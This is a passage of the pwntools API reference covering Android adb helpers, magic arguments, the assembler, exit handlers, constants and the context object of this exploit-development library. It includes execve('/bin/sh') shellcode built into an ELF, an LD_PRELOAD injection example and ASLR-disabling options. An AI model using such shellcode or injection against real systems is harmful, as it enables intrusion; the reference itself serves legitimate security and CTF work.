pwnlib.adb.adb.**remount**(**a*, ***kw*)

> Remounts the filesystem as writable.

pwnlib.adb.adb.**root**(**a*, ***kw*)

> Restarts adbd as root.

```
>>> adb.root()
```

pwnlib.adb.adb.**setprop**(**a*, ***kw*)

> Writes a property to the system property store.

pwnlib.adb.adb.**shell**(*a*, ***kw*)

> Returns an interactive shell.

pwnlib.adb.adb.**uninstall**(*package*, **arguments*)

> Uninstall an APK from the device.
>
> This is a wrapper around 'pm uninstall', which backs 'adb uninstall'.
>
> > **Parameters**
> >
> > - **package** (*str*) – Name of the package to uninstall (e.g. `'com.foo.MyPackage'`)
> > - **arguments** – Supplementary arguments to `'pm install'`, e.g. `'-k'`.

pwnlib.adb.adb.**unlink**(*a*, ***kw*)

> Unlinks a file or directory on the target device.

Examples

```
>>> adb.unlink("/does/not/exist")
Traceback (most recent call last):
...
PwnlibException: Could not unlink '/does/not/exist': Does not exist
```

```
>>> filename = '/data/local/tmp/unlink-test'
>>> adb.write(filename, 'hello')
>>> adb.exists(filename)
True
>>> adb.unlink(filename)
>>> adb.exists(filename)
False
```

```
>>> adb.mkdir(filename)
>>> adb.write(filename + '/contents', 'hello')
>>> adb.unlink(filename)
Traceback (most recent call last):
...
PwnlibException: Cannot delete non-empty directory '/data/local/tmp/unlink-test'
→without recursive=True
```

```
>>> adb.unlink(filename, recursive=True)
>>> adb.exists(filename)
False
```

pwnlib.adb.adb.**unlock_bootloader**(*a*, ***kw*)

> Unlocks the bootloader of the device.

Note: This requires physical interaction with the device.

---

pwnlib.adb.adb.**unroot**(*a*, ***kw*)

> Restarts adbd as AID_SHELL.

pwnlib.adb.adb.**uptime**() → float

> > **Returns** Uptime of the device, in seconds

pwnlib.adb.adb.**wait_for_device**(*a*, ***kw*)

Waits for a device to be connected.

By default, waits for the currently-selected device (via `context.device`). To wait for a specific device, set `context.device`. To wait for *any* device, clear `context.device`.

> **Returns** An `AdbDevice` instance for the device.

Examples

```
>>> device = adb.wait_for_device()
```

pwnlib.adb.adb.**which**(*a*, ***kw*)

Retrieves the full path to a binary in `$PATH` on the device

> **Parameters**
>
> - **name** (`str`) – Binary name
> - **all** (`bool`) – Whether to return all paths, or just the first
> - ***a** – Additional arguments for `adb.process()`
> - ****kw** – Additional arguments for `adb.process()`
>
> **Returns** Either a path, or list of paths

Example

```
>>> adb.which('sh')
'/system/bin/sh'
>>> adb.which('sh', all=True)
['/system/bin/sh']
```

```
>>> adb.which('foobar') is None
True
>>> adb.which('foobar', all=True)
[]
```

pwnlib.adb.adb.**write**(*a*, ***kw*)

Create a file on the device with the provided contents.

> **Parameters**
>
> - **path** (`str`) – Path to the file on the device
> - **data** (`str`) – Contents to store in the file

Examples

```
>>> adb.write('/dev/null', 'data')
>>> adb.write('/data/local/tmp/')
```

This file exists only for backward compatibility

2.2 `pwnlib.args` — Magic Command-Line Arguments

Pwntools exposes several magic command-line arguments and environment variables when operating in *from pwn import ** mode.

The arguments extracted from the command-line and removed from `sys.argv`.

Arguments can be set by appending them to the command-line, or setting them in the environment prefixed by `PWNLIB_`.

The easiest example is to enable more verbose debugging. Just set `DEBUG`.

```
$ PWNLIB_DEBUG=1 python exploit.py
$ python exploit.py DEBUG
```

These arguments are automatically extracted, regardless of their name, and exposed via `pwnlib.args.args`, which is exposed as the global variable `args`. Arguments which `pwntools` reserves internally are not exposed this way.

```
$ python -c 'from pwn import *; print args' A=1 B=Hello HOST=1.2.3.4 DEBUG
defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})
```

This is very useful for conditional code, for example determining whether to run an exploit locally or to connect to a remote server. Arguments which are not specified evaluate to an empty string.

```
if args['REMOTE']:
    io = remote('exploitme.com', 4141)
else:
    io = process('./pwnable')
```

Arguments can also be accessed directly with the dot operator, e.g.:

```
if args.REMOTE:
    ...
```

Any undefined arguments evaluate to an empty string, `''`.

The full list of supported "magic arguments" and their effects are listed below.

class `pwnlib.args.`**`PwnlibArgs`**

`pwnlib.args.`**`DEBUG`**(*x*)
> Sets the logging verbosity to `debug` which displays much more information, including logging each byte sent by tubes.

`pwnlib.args.`**`LOG_FILE`**(*x*)
> Sets a log file to be used via `context.log_file`, e.g. LOG_FILE=./log.txt

`pwnlib.args.`**`LOG_LEVEL`**(*x*)
> Sets the logging verbosity used via `context.log_level`, e.g. LOG_LEVEL=debug.

`pwnlib.args.`**`NOASLR`**(*v*)
> Disables ASLR via `context.aslr`

`pwnlib.args.`**`NOPTRACE`**(*v*)
> Disables facilities which require `ptrace` such as `gdb.attach()` statements, via `context.noptrace`.

`pwnlib.args.`**`NOTERM`**(*v*)
> Disables pretty terminal settings and animations.

`pwnlib.args.`**`RANDOMIZE`**(*v*)
> Enables randomization of various pieces via `context.randomize`

pwnlib.args.**SILENT**(*x*)
> Sets the logging verbosity to error which silences most output.

pwnlib.args.**STDERR**(*v*)
> Sends logging to stderr by default, instead of stdout

pwnlib.args.**TIMEOUT**(*v*)
> Sets a timeout for tube operations (in seconds) via context.timeout, e.g. TIMEOUT=30

pwnlib.args.**asbool**(*s*)
> Convert a string to its boolean value

pwnlib.args.**isident**(*s*)
> Helper function to check whether a string is a valid identifier, as passed in on the command-line.

2.3 `pwnlib.asm` — Assembler functions

Utilities for assembling and disassembling code.

2.3.1 Architecture Selection

Architecture, endianness, and word size are selected by using *pwnlib.context*.

Any parameters which can be specified to context can also be specified as keyword arguments to either *asm()* or *disasm()*.

2.3.2 Assembly

To assemble code, simply invoke *asm()* on the code to assemble.

```
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'
```

Additionally, you can use constants as defined in the *pwnlib.constants* module.

```
>>> asm('mov eax, SYS_execve')
'\xb8\x0b\x00\x00\x00'
```

Finally, *asm()* is used to assemble shellcode provided by pwntools in the shellcraft module.

```
>>> asm(shellcraft.nop())
'\x90'
```

2.3.3 Disassembly

To disassemble code, simply invoke *disasm()* on the bytes to disassemble.

```
>>> disasm('\xb8\x0b\x00\x00\x00')
'   0:   b8 0b 00 00 00          mov    eax,0xb'
```

pwnlib.asm.**asm**(*code*, *vma = 0*, *extract = True*, *shared = False*, *...*) → str
> Runs *cpp()* over a given shellcode and then assembles it into bytes.

> To see which architectures or operating systems are supported, look in pwnlib.contex.

Assembling shellcode requires that the GNU assembler is installed for the target architecture. See *Installing Binutils* for more information.

> **Parameters**
>
> - **shellcode** (*str*) – Assembler code to assemble.
>
> - **vma** (*int*) – Virtual memory address of the beginning of assembly
>
> - **extract** (*bool*) – Extract the raw assembly bytes from the assembled file. If False, returns the path to an ELF file with the assembly embedded.
>
> - **shared** (*bool*) – Create a shared object.
>
> - **kwargs** (*dict*) – Any attributes on *context* can be set, e.g.set arch='arm'.

Examples

```
>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
'\xb8]\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
'\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
'R\x00\xa0\xe3'
```

pwnlib.asm.**cpp** (*shellcode*, *...*) → str
  Runs CPP over the given shellcode.

  The output will always contain exactly one newline at the end.

> **Parameters shellcode** (*str*) – Shellcode to preprocess

Kwargs: Any arguments/properties that can be set on context

Examples

```
>>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux")
'mov al, 164\n'
>>> cpp("weee SYS_setresuid", arch = "arm", os = "linux")
'weee (0+164)\n'
>>> cpp("SYS_setresuid", arch = "thumb", os = "linux")
'(0+164)\n'
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
```

pwnlib.asm.**disasm** (*data*, *...*) → str
  Disassembles a bytestring into human readable assembler.

  To see which architectures are supported, look in pwnlib.contex.

  To support all these architecture, we bundle the GNU objcopy and objdump with pwntools.

> **Parameters**
>
> - **data** (*str*) – Bytestring to disassemble.
>
> - **vma** (*int*) – Passed through to the –adjust-vma argument of objdump

- **byte** (*bool*) – Include the hex-printed bytes in the disassembly

- **offset** (*bool*) – Include the virtual memory address in the disassembly

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
   0:   b8 5d 00 00 00          mov    eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
   0:   mov    eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
mov    eax,0x5d
>>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
   0:   b8 17 00 00 00          mov    eax,0x17
>>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
   0:   48 c7 c0 17 00 00 00    mov    rax,0x17
>>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
   0:   e51f0004        ldr     r0, [pc, #-4]   ; 0x4
   4:   00900052        addseq  r0, r0, r2, asr r0
>>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
   0:   f04f 0005       mov.w   r0, #5
```

pwnlib.asm.**make_elf**(*data*, *vma=None*, *strip=True*, *extract=True*, *shared=False*, ***kwargs*) → str
    Builds an ELF file with the specified binary data as its executable code.

> **Parameters**
>
> - **data** (*str*) – Assembled code
>
> - **vma** (*int*) – Load address for the ELF file
>
> - **strip** (*bool*) – Strip the resulting ELF file. Only matters if `extract=False`. (Default: `True`)
>
> - **extract** (*bool*) – Extract the assembly from the ELF file. If `False`, the path of the ELF file is returned. (Default: `True`)
>
> - **shared** (*bool*) – Create a Dynamic Shared Object (DSO, i.e. a `.so`) which can be loaded via `dlopen` or `LD_PRELOAD`.

Examples

This example creates an i386 ELF that just does execve('/bin/sh',...).

```
>>> context.clear(arch='i386')
>>> bin_sh = '6a68682f2f2f73682f62696e89e331c96a0b5899cd80'.decode('hex')
>>> filename = make_elf(bin_sh, extract=False)
>>> p = process(filename)
>>> p.sendline('echo Hello; exit')
>>> p.recvline()
'Hello\n'
```

pwnlib.asm.**make_elf_from_assembly**(*assembly*, *vma=None*, *extract=None*, *shared=False*, *strip=False*, ***kwargs*) → str
    Builds an ELF file with the specified assembly as its executable code.

This differs from *make_elf()* in that all ELF symbols are preserved, such as labels and local variables. Use *make_elf()* if size matters. Additionally, the default value for extract in *make_elf()* is different.

Note: This is effectively a wrapper around *asm()*. with setting extract=False, vma=0x10000000, and marking the resulting file as executable (chmod +x).

Note: ELF files created with *arch=thumb* will prepend an ARM stub which switches to Thumb mode.

> **Parameters**
>
> - **assembly** (*str*) – Assembly code to build into an ELF
> - **vma** (*int*) – Load address of the binary (Default: 0x10000000, or 0 if shared=True)
> - **extract** (*bool*) – Extract the full ELF data from the file. (Default: False)
> - **shared** (*bool*) – Create a shared library (Default: False)
> - **kwargs** (*dict*) – Arguments to pass to *asm()*.
>
> **Returns** The path to the assembled ELF (extract=False), or the data of the assembled ELF.

Example

This example shows how to create a shared library, and load it via LD_PRELOAD.

```
>>> context.clear()
>>> context.arch = 'amd64'
>>> sc = 'push rbp; mov rbp, rsp;'
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
'Hello\nWorld\n'
```

The same thing can be done with *make_elf()*, though the sizes are different. They both

```
>>> file_a = make_elf(asm('nop'), extract=True)
>>> file_b = make_elf_from_assembly('nop', extract=True)
>>> file_a[:4] == file_b[:4]
True
>>> len(file_a) < 0x200
True
>>> len(file_b) > 0x1000
True
```

2.3.4 Internal Functions

These are only included so that their tests are run.

You should never need these.

pwnlib.asm.**dpkg_search_for_binutils**(*arch*, *util*)
    Use dpkg to search for any available assemblers which will work.

Returns A list of candidate package names.

```
>>> pwnlib.asm.dpkg_search_for_binutils('aarch64', 'as')
['binutils-aarch64-linux-gnu']
```

pwnlib.asm.**print_binutils_instructions**(*util*, *context*)

On failure to find a binutils utility, inform the user of a way they can get it easily.

Doctest:

```
>>> context.clear(arch = 'amd64')
>>> pwnlib.asm.print_binutils_instructions('as', context)
Traceback (most recent call last):
...
PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64',
→bits = 64, endian = 'little')
Try installing binutils for this architecture:
$ sudo apt-get install binutils
```

2.4 `pwnlib.atexception` — Callbacks on unhandled exception

Analogous to atexit, this module allows the programmer to register functions to be run if an unhandled exception occurs.

pwnlib.atexception.**register**(*func*, **args*, ***kwargs*)

Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. func(*args, **kwargs). The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exception-handler one could write:

```
with context.local(log_level = 'error'):
    atexception.register(handler)
```

An identifier is returned which can be used to unregister the exception-handler.

This function can be used as a decorator:

```
@atexception.register
def handler():
    ...
```

Notice however that this will bind handler to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:

```
atexception.unregister(handler)
```

This function is thread safe.

pwnlib.atexception.**unregister**(*func*)

Remove *func* from the collection of registered functions. If *func* isn't registered this is a no-op.

2.5 `pwnlib.atexit` — Replacement for atexit

Replacement for the Python standard library's atexit.py.

Whereas the standard `atexit` module only defines `atexit.register()`, this replacement module also defines `unregister()`.

This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard `atexit` is used.

pwnlib.atexit.**register**(*func*, **args*, ***kwargs*)

    Registers a function to be called on program termination. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

    E.g. to suppress logging output from an exit-handler one could write:

```
with context.local(log_level = 'error'):
    atexit.register(handler)
```

    An identifier is returned which can be used to unregister the exit-handler.

    This function can be used as a decorator:

```
@atexit.register
def handler():
    ...
```

    Notice however that this will bind `handler` to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:

```
atexit.unregister(handler)
```

    This function is thread safe.

pwnlib.atexit.**unregister**(*ident*)

    Remove the exit-handler identified by *ident* from the list of registered handlers. If *ident* isn't registered this is a no-op.

2.6 `pwnlib.constants` — Easy access to header file constants

Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it.

Example

```
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
```

The submodule `freebsd` contains all constants for FreeBSD, while the constants for Linux have been split up by architecture.

The variables of the submodules will be "lifted up" by setting the `pwnlib.context.arch` or `pwnlib.context.os` in a manner similar to what happens in *pwnlib.shellcraft*.

Example

```
>>> with context.local(os = 'freebsd'):
...     print int(constants.SYS_stat)
188
>>> with context.local(os = 'linux', arch = 'i386'):
...     print int(constants.SYS_stat)
106
>>> with context.local(os = 'linux', arch = 'amd64'):
...     print int(constants.SYS_stat)
4
```

```
>>> with context.local(arch = 'i386', os = 'linux'):
...     print constants.SYS_execve + constants.PROT_WRITE
13
>>> with context.local(arch = 'amd64', os = 'linux'):
...     print constants.SYS_execve + constants.PROT_WRITE
61
>>> with context.local(arch = 'amd64', os = 'linux'):
...     print constants.SYS_execve + constants.PROT_WRITE
61
```

2.7 `pwnlib.config` — Pwntools Configuration File

Allows per-user and per-host configuration of Pwntools settings.

The list of configurable options includes all of the logging symbols and colors, as well as all of the default values on the global context object.

The configuration file is read from `~/.pwn.conf` and `/etc/pwn.conf`.

The configuration file is only read in `from pwn import *` mode, and not when used in library mode (`import pwnlib`). To read the configuration file in library mode, invoke `config.initialize()`.

The `context` section supports complex types, at least as far as is supported by `pwnlib.util.safeeval.expr`.

```
[log]
success.symbol=
error.symbol=
info.color=blue

[context]
adb_port=4141
randomize=1
timeout=60
terminal=['x-terminal-emulator', '-e']
```

2.8 `pwnlib.context` — Setting runtime variables

Many settings in `pwntools` are controlled via the global variable *context*, such as the selected target operating system, architecture, and bit-width.

In general, exploits will start with something like:

```python
from pwn import *
context.arch = 'amd64'
```

Which sets up everything in the exploit for exploiting a 64-bit Intel binary.

The recommended method is to use `context.binary` to automagically set all of the appropriate values.

```python
from pwn import *
context.binary = './challenge-binary'
```

2.8.1 Module Members

Implements context management so that nested/scoped contexts and threaded contexts work properly and as expected.

class `pwnlib.context.`**`ContextType`**(***kwargs***)

Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable *context*, available via `from pwn import *` as `context`.

The context is usually specified at the top of the Python file for clarity.

```python
#!/usr/bin/env python
context.update(arch='i386', os='linux')
```

Currently supported properties and their defaults are listed below. The defaults are inherited from *pwnlib. context.ContextType.defaults*.

Additionally, the context is thread-aware when using *pwnlib.context.Thread* instead of `threading. Thread` (all internal `pwntools` threads use the former).

The context is also scope-aware by using the `with` keyword.

Examples

```python
>>> context.clear()
>>> context.update(os='linux')
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux
↪'}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
...     print pwnlib.asm.asm('nop').encode('hex')
```

(continues on next page)

```
>>> nop()
00f020e3
>>> with context.local(arch = 'i386'):
...     nop()
90
>>> from pwnlib.context import Thread as PwnThread
>>> from threading      import Thread as NormalThread
>>> with context.local(arch = 'mips'):
...     pwnthread = PwnThread(target=nop)
...     thread    = NormalThread(target=nop)
>>> # Normal thread uses the default value for arch, 'i386'
>>> _=(thread.start(), thread.join())
90
>>> # Pwnthread uses the correct context from creation-time
>>> _=(pwnthread.start(), pwnthread.join())
00000000
>>> nop()
00f020e3
```

Initialize the ContextType structure.

All keyword arguments are passed to *update()*.

class Thread(**args*, ***kwargs*)

   Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.context.Thread*.

   Threads created by using the native :class'threading'.Thread' will have a clean (default) context.

   Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

   Saves a copy of the context when instantiated (at __init__) and updates the new thread's context before passing control to the user code via run or target=.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print context.arch
...     context.arch = 'mips'
...     print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
```

```
arm
mips
>>> # Again, the main thread is unchanged
>>> print context.arch
arm
```

Implementation Details:

> This class implemented by hooking the private function `threading.Thread.`
> `_Thread_bootstrap()`, which is called before passing control to `threading.Thread.`
> `run()`.
>
> This could be done by overriding `run` itself, but we would have to ensure that all uses of the
> class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke
> `super(Subclass.self).set_up_context()` or similar.

clear(*a*, ***kw*)

Clears the contents of the context. All values are set to their defaults.

> **Parameters**
>
> - **a** – Arguments passed to `update`
>
> - **kw** – Arguments passed to `update`

Examples

```
>>> # Default value
>>> context.clear()
>>> context.arch == 'i386'
True
>>> context.arch = 'arm'
>>> context.arch == 'i386'
False
>>> context.clear()
>>> context.arch == 'i386'
True
```

copy() → dict

Returns a copy of the current context as a dictionary.

Examples

```
>>> context.clear()
>>> context.os   = 'linux'
>>> vars(context) == {'os': 'linux'}
True
```

local(***kwargs*) → context manager

Create a context manager for use with the `with` statement.

For more information, see the example below or PEP 343.

> **Parameters** **kwargs** – Variables to be assigned in the new environment.
>
> **Returns** ContextType manager for managing the old and new environment.

Examples

```
>>> context.clear()
>>> context.timeout = 1
>>> context.timeout == 1
True
>>> print context.timeout
1.0
>>> with context.local(timeout = 2):
...     print context.timeout
...     context.timeout = 3
...     print context.timeout
2.0
3.0
>>> print context.timeout
1.0
```

quietfunc(*function*)

> Similar to *quiet*, but wraps a whole function.

reset_local()

> Deprecated. Use *clear()*.

update(**args*, ***kwargs*)

> Convenience function, which is shorthand for setting multiple variables at once.
>
> It is a simple shorthand such that:

```
context.update(os = 'linux', arch = 'arm', ...)
```

> is equivalent to:

```
context.os   = 'linux'
context.arch = 'arm'
...
```

> The following syntax is also valid:

```
context.update({'os': 'linux', 'arch': 'arm'})
```

> > **Parameters kwargs** – Variables to be assigned in the environment.

Examples

```
>>> context.clear()
>>> context.update(arch = 'i386', os = 'linux')
>>> context.arch, context.os
('i386', 'linux')
```

adb

> Returns an argument array for connecting to adb.
>
> Unless $ADB_PATH is set, uses the default adb binary in $PATH.

adb_host

> Sets the target host which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_HOST, or set to the default 'localhost'.

adb_port
Sets the target port which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_PORT, or set to the default 5037.

arch
Target binary architecture.

Allowed values are listed in *pwnlib.context.ContextType.architectures*.

Side Effects:

If an architecture is specified which also implies additional attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies big-endian), these attributes will be set on the context if a user has not already set a value.

The following properties may be modified.

- *bits*

- *endian*

Raises AttributeError – An invalid architecture was specified

Examples

```
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True
```

```
>>> context.arch = 'mips'
>>> context.arch == 'mips'
True
```

```
>>> context.arch = 'doge'
Traceback (most recent call last):
 ...
AttributeError: arch must be one of ['aarch64', ..., 'thumb']
```

```
>>> context.arch = 'ppc'
>>> context.arch == 'powerpc' # Aliased architecture
True
```

```
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
```

Note that expressly setting *bits* means that we use that value instead of the default

```
>>> context.clear()
>>> context.bits = 32
>>> context.arch = 'amd64'
>>> context.bits == 32
True
```

Setting the architecture can override the defaults for both *endian* and *bits*

```
>>> context.clear()
>>> context.arch = 'powerpc64'
>>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
True
```

architectures = {'aarch64': {'bits': 64, 'endian': 'little'}, 'alpha': {'bits': 64
Values are defaults which are set when *pwnlib.context.ContextType.arch* is set

aslr
ASLR settings for new processes.

If False, attempt to disable ASLR in all processes which are created via personality (setarch
-R) and setrlimit (ulimit -s unlimited).

The setarch changes are lost if a setuid binary is executed.

binary
Infer target architecture, bit-with, and endianness from a binary file. Data type is a pwnlib.elf.ELF
object.

Examples

```
>>> context.clear()
>>> context.arch, context.bits
('i386', 32)
>>> context.binary = '/bin/bash'
>>> context.arch, context.bits
('amd64', 64)
>>> context.binary
ELF('/bin/bash')
```

bits
Target machine word size, in bits (i.e. the size of general purpose registers).

The default value is 32, but changes according to *arch*.

Examples

```
>>> context.clear()
>>> context.bits == 32
True
>>> context.bits = 64
>>> context.bits == 64
True
>>> context.bits = -1
Traceback (most recent call last):
```

(continues on next page)

```
...
AttributeError: bits must be > 0 (-1)
```

buffer_size

Internal buffer size to use for `pwnlib.tubes.tube.tube` objects.

This is not the maximum size of the buffer, but this is the amount of data which is passed to each raw `read` syscall (or equivalent).

bytes

Target machine word size, in bytes (i.e. the size of general purpose registers).

This is a convenience wrapper around `bits / 8`.

Examples

```
>>> context.bytes = 1
>>> context.bits == 8
True
```

```
>>> context.bytes = 0
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (0)
```

cache_dir

Directory used for caching data.

Note: May be either a path string, or `None`.

Example

```
>>> cache_dir = context.cache_dir
>>> cache_dir is not None
True
>>> os.chmod(cache_dir, 0o000)
>>> context.cache_dir is None
True
>>> os.chmod(cache_dir, 0o755)
>>> cache_dir == context.cache_dir
True
```

cyclic_alphabet

Cyclic alphabet.

Default value is *string.ascii_lowercase*.

cyclic_size

Cyclic pattern size.

Default value is *4*.

defaults = {'adb_host': 'localhost', 'adb_port': 5037, 'arch': 'i386', 'aslr': True
>   Default values for *pwnlib.context.ContextType*

delete_corefiles
>   Whether pwntools automatically deletes corefiles after exiting. This only affects corefiles accessed via
>   *process.corefile*.
>
>   Default value is `False`.

device
>   Sets the device being operated on.

endian
>   Endianness of the target machine.
>
>   The default value is `'little'`, but changes according to *arch*.
>
> >   Raises **AttributeError** – An invalid endianness was provided

Examples

```
>>> context.clear()
>>> context.endian == 'little'
True
```

```
>>> context.endian = 'big'
>>> context.endian
'big'
```

```
>>> context.endian = 'be'
>>> context.endian == 'big'
True
```

```
>>> context.endian = 'foobar'
Traceback (most recent call last):
 ...
AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little
→']
```

endianness
>   Legacy alias for *endian*.

Examples

```
>>> context.endian == context.endianness
True
```

endiannesses = {'be': 'big', 'big': 'big', 'eb': 'big', 'el': 'little', 'le': 'li
>   Valid values for *endian*

gdbinit
>   Path to the gdbinit that is used when running GDB locally.
>
>   This is useful if you want pwntools-launched GDB to include some additional modules, like PEDA but
>   you do not want to have GDB include them by default.

The setting will only apply when GDB is launched locally since remote hosts may not have the necessary requirements for the gdbinit.

If set to an empty string, GDB will use the default *~/.gdbinit*.

Default value is `""`.

kernel
Target machine's kernel architecture.

Usually, this is the same as `arch`, except when running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64).

Even then, this doesn't matter much – only when the the segment registers need to be known

log_console
Sets the default logging console target.

Examples

```
>>> context.log_level = 'warn'
>>> log.warn("Hello")
[!] Hello
>>> context.log_console=open('/dev/null', 'w')
>>> log.warn("Hello")
>>> context.clear()
```

log_file
Sets the target file for all logging output.

Works in a similar fashion to *log_level*.

Examples

```
>>> context.log_file = 'foo.txt'
>>> log.debug('Hello!')
>>> with context.local(log_level='ERROR'):
...     log.info('Hello again!')
>>> with context.local(log_file='bar.txt'):
...     log.debug('Hello from bar!')
>>> log.info('Hello from foo!')
>>> file('foo.txt').readlines()[-3]
'...:DEBUG:...:Hello!\n'
>>> file('foo.txt').readlines()[-2]
'...:INFO:...:Hello again!\n'
>>> file('foo.txt').readlines()[-1]
'...:INFO:...:Hello from foo!\n'
>>> file('bar.txt').readlines()[-1]
'...:DEBUG:...:Hello from bar!\n'
```

log_level
Sets the verbosity of `pwntools` logging mechanism.

More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.

Valid values are specified by the standard Python `logging` module.

Default value is set to `INFO`.

Examples

```
>>> context.log_level = 'error'
>>> context.log_level == logging.ERROR
True
>>> context.log_level = 10
>>> context.log_level = 'foobar'
Traceback (most recent call last):
...
AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG',
↪'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
```

noptrace

Disable all actions which rely on ptrace.

This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger).

This option can be set with the `NOPTRACE` command-line argument.

os

Operating system of the target machine.

The default value is `linux`.

Allowed values are listed in *pwnlib.context.ContextType.oses*.

Examples

```
>>> context.os = 'linux'
>>> context.os = 'foobar'
Traceback (most recent call last):
...
AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux',
↪'windows']
```

oses = ['android', 'cgc', 'freebsd', 'linux', 'windows']

Valid values for *pwnlib.context.ContextType.os()*

proxy

Default proxy for all socket connections.

Accepts either a string (hostname or IP address) for a SOCKS5 proxy on the default port, **or** a `tuple` passed to `socks.set_default_proxy`, e.g. `(socks.SOCKS4, 'localhost', 1234)`.

```
>>> context.proxy = 'localhost'
>>> r=remote('google.com', 80)
Traceback (most recent call last):
...
ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno␣
↪111] Connection refused
```

```
>>> context.proxy = None
>>> r=remote('google.com', 80, level='error')
```

---

quiet
> Disables all non-error logging within the enclosed scope, *unless* the debugging level is set to 'debug' or lower.

randomize
> Global flag that lots of things should be randomized.

rename_corefiles
> Whether pwntools automatically renames corefiles.
>
> This is useful for two things:
>
> • Prevent corefiles from being overwritten, if `kernel.core_pattern` is something simple like `"core"`.
>
> • Ensure corefiles are generated, if `kernel.core_pattern` uses `apport`, which refuses to over-write any existing files.
>
> This only affects corefiles accessed via *process.corefile*.
>
> Default value is `True`.

sign
> Alias for *signed*

signed
> Signed-ness for packing operation when it's not explicitly set.
>
> Can be set to any non-string truthy value, or the specific string values `'signed'` or `'unsigned'` which are converted into `True` and `False` correspondingly.

Examples

```
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar'
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or
↪a non-string truthy value
```

signedness
> Alias for *signed*

signednesses = {'no': False, 'signed': True, 'unsigned': False, 'yes': True}
> Valid string values for *signed*

silent
> Disable all non-error logging within the enclosed scope.

terminal

Default terminal used by *pwnlib.util.misc.run_in_new_terminal()*. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.

timeout

Default amount of time to wait for a blocking operation before it times out, specified in seconds.

The default value is to have an infinite timeout.

See *pwnlib.timeout.Timeout* for additional information on valid values.

verbose

Enable all logging within the enclosed scope.

word_size

Alias for *bits*

class pwnlib.context.**Thread**(*args*, **kwargs*)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.context.Thread*.

Threads created by using the native :class'threading'.Thread' will have a clean (default) context.

